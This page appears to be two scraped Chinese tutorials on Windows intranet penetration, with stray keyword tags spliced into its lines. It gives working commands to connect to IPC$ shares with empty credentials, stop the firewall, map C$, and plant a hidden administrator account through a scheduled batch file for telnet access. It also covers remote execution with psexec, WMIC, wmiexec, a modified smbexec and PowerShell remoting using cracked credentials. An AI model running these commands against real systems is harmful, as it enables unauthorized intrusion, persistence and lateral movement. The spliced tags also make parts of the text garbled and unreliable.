內網滲透之IPC,遠程執行

開啓服務 node

net start Schedule python

net start wmiApSrv c++

關閉防火牆 git

net stop sharedaccess github

net use \\目標IP\ipc$ "" /user:"administrator"進行鏈接 shell

 

net use \\目標IP\ipc$ windows

 

試環境:主機(windows XP sp3)與windows XP sp2虛擬機)
   
經過IPC$windowsXP創建鏈接,在如今的絕大多數的XP操做系統中老是會出現問題。如下如何解決在創建IPC$出現的一系列問題。IPC$(Internet process connection),一般不少的機子的默認共享都是打開的!在cmd下使用net share命令是否是發現有不少$"ipc$ admin$ c$ d$....."(很危險啊)。
如今進入正題:

1.net use \\
目標IP\ipc$



出現53錯誤:找不到網絡路徑,(目標主機打開了系統防火牆或者其餘防火牆軟件,解決:關閉目標防火牆)
出現1326錯誤:

1
net use \\目標IP\ipc$ "" /user:"administrator"進行鏈接,報告系統發生1326錯誤,登錄失敗:未知用戶名或密碼錯誤。檢查一下咱們的命令是否錯誤或者用戶名錯誤。結果發現無錯。

2
)在遠程機的"控制面板-文件夾選項-查看-簡單的文件共享",去掉選取,而後再嘗試鏈接。簡單文件共享會
把網絡鏈接權限都歸爲 guest鏈接,是沒法訪問IPC$等管理共享的.結果發現這個錯誤,糾正。

緊接着可能出現1327錯誤:登錄失敗:用戶賬戶限制。可能的緣由包括不容許空密碼,登錄時間限制,或強制的策略限。"在遠程機的"控制面板-管理工具-本地安全策略-安全選項-用戶權限"指派裏,禁用"空密碼用戶只能進行控制檯登錄".



映射對方默認共享c盤:net use z: \\目標IP\c$



在個人電腦中會出現網絡驅動器



創建ipc$告一段落,刪除ipc$鏈接:net sue \\目標IP\ipc$ /del

在此基礎上在目標電腦上留下後門帳號:
編寫一個批處理文件,並拷貝到對方的電腦上,而後增長計劃任務執行批處理文件;
批處理命令:(保存爲adduser.bat
net user nebulastest 123456 /add //
增長用戶nebulastest,密碼123456
net localgroup administrators nebulastest /add //
爲用戶nebulastest賦予管理員權限

而後在本機上執行命令(已經創建IPC$鏈接):copy adduser.bat \\目標IP\c$
接着查看目標電腦時間:net time \\目標IP
隨後爲目標電腦增長計劃任務:at \\目標IP 執行時間 c:\adduser.bat



刪除當前IPC$連接,使用新用戶和新密碼創建IPC$連接,以測試時候創建帳號成功。
net use \\
目標IP\ipc$ "123456" /user:"nebulastest"




使用telnet進行登錄(前提:目標電腦已經開啓telnet服務)

雙擊"telnet服務"-----選擇"自動"-----點擊"啓動"



在命令行輸入:telnet 目標IP
以後彈出遠程登陸對話框,選擇Y,輸入用戶名(後門帳戶,密碼)
輸入密碼不會如今可是回車後會自動驗證是否密碼正確



下圖已經輸入密碼可是不會顯示:



登錄後的界面:



大功告成,得到目標主機shell
安全

 

 

在遠程系統上執行程序的技術整理 網絡

三好學生 · 2015/07/24 17:41 工具

0x00 前言

上一篇學習瞭如何導出域內全部用戶hash,那麼,接下來準備用破解出的用戶名口令嘗試遠程登錄目標主機並執行程序,結合實際環境作了以下測試.

0x01 目標

遠程登錄目標主機執行測試程序

0x02 測試環境

遠程主機:

ip192.168.40.137

用戶名:test

口令:testtest

操做系統:win7 x64

遠程登錄方式:

net use遠程登錄,不使用3389

Tips:

解決工做組環境沒法遠程登錄執行程序的方法:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called "LocalAccountTokenFilterPolicy" and set it to 1

0x03 測試方法

1at&schtasks

計劃任務方式執行程序。

條件:

啓動Task Scheduler服務

2psexec

PsTools工具之一,在指定的一臺或多臺計算機上運行應用程序

條件:

須要開放ADMIN$共享

3WMIC

功能強大,可作系統管理、遠程主機信息獲取

條件:

啓動WMI服務,開放135端口

本地安全策略的"網絡訪問: 本地賬戶的共享和安全模式"應設爲"經典-本地用戶以本身的身份驗證"

4wmiexec

使用VBS腳本調用WMI來模擬psexec的功能,基本上psexec能用的地方,這個腳本也可以使用。

條件:

啓動WMI服務,開放135端口

本地安全策略的"網絡訪問: 本地賬戶的共享和安全模式"應設爲"經典-本地用戶以本身的身份驗證"

0x04 實際測試

使用用戶名口令遠程登錄192.168.40.137,如圖1

查看目標主機共享資源,如圖1-2

1at&schtasks

at \\192.168.40.137

找不到網絡路徑,判斷是目標主機已禁用Task Scheduler服務

如圖2

2psexec

PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe

找不到網絡名,判斷目標主機已禁用ADMIN$共享

如圖3

3WMIC

wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe

Description = 沒法啓動服務,緣由多是已被禁用或與其相關聯的設備沒有啓動,判斷WMI服務被禁用

如圖4

4wmiexec

cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"

WMIEXEC ERROR: 沒法啓動服務,緣由多是已被禁用或與其相關聯的設備沒有啓動,判斷WMI服務被禁用

如圖5

0x05 分析

整理下目前掌握的目標主機信息:

目標主機:

1、已得到登錄用戶名及口令

2、能夠net use鏈接

3、開放共享C

可是:

1、默認admin$共享關閉,沒法使用psexec

2Task scheduler關閉,沒法使用atschtasks

3Windows Management Instrumentation服務關閉,關閉135端口沒法使用wmicwmiexec

4、不支持3389

那麼,如何在目標主機遠程執行程序?

猜想管理員應該是對經常使用的遠程執行程序的方法作了限制,就在束手無策的時候忽然想到了smbexec,它是基於psexec,若是目標主機開放了其餘默認共享,卻是能夠嘗試smbexec

因而搜索smbexec,終於在GitHub上面找到了一個smbexec的c++參考資料,做爲工具改進模版

模版下載地址:

https://github.com/sunorr/smbexec

0x06 改進方案

模版中的bug不細講,最終我成功用vc6實現了psexec的功能,同時也作了一些改進:

1、可指定默認共享名

爲了完成上述測試,加入了參數來指定默認共享,若是ADMIN$共享關閉,那麼能夠嘗試其餘磁盤的默認共享

2、分離安裝服務的功能

在實際測試過程當中,若是ADMIN$共享關閉,c$共享開啓,由於UAC的緣故,註冊安裝服務的功能會出現bug,採起的解決辦法爲將實現註冊安裝服務功能的exe單獨上傳至c:\windows下, 便可解決權限不夠的問題

0x07 方案測試

1、工具說明

文件說明:

test.exe:主程序

execserver.exe:實現註冊安裝服務的輔助程序

參數說明:

test.exe ip user password command netshare

eg:

test.exe 192.168.40.137 test testtest whoami c$

2、使用流程

(1)上傳execserver.exe至c:\windows

copy execserver.exe \\192.168.40.137\c$\windows

(2)遠程執行

test.exe 192.168.40.137 test testtest whoami c$

如圖6

最終咱們經過改造的smbexec,突破目標主機限制,成功遠程執行程序。

程序源碼下載連接:

smbexec_source.zip

0x08 補充

1powershell remoting

實如今目標主機遠程執行程序後,可對目標主機開放powershell remoting,用做遠程鏈接

條件:

遠程鏈接會有痕跡

本機要開啓winRM服務

命令彙總:

列出全部遠程信任主機

powershell Get-Item WSMan:\localhost\Client\TrustedHosts

設置信任全部主機

powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force

設置容許運行ps1文件

powershell Set-ExecutionPolicy Unrestricted

執行test.ps1文件

powershell -ExecutionPolicy Bypass -File test.ps1

ps1文件以下:

$UserName = "test"

$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)

invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }

2python smbexec

隨後用python寫的smbexec也實現了相同的功能,但py2exe的時候遇到了大麻煩,若是有更簡單的方法, 但願能獲得你的幫助。

0x09 小結

這篇文章共列舉了六種遠程執行程序的方法,若是已經成功登錄目標主機,卻沒法執行程序,最心塞的事情莫過於此。

at

psexec

WMIC

wmiexec

smbexec

powershell remoting

...

得到用戶名口令,實現遠程執行程序僅僅是個開始,內網滲透會頗有趣。

水平有限,歡迎補充。

相關文章
相關標籤/搜索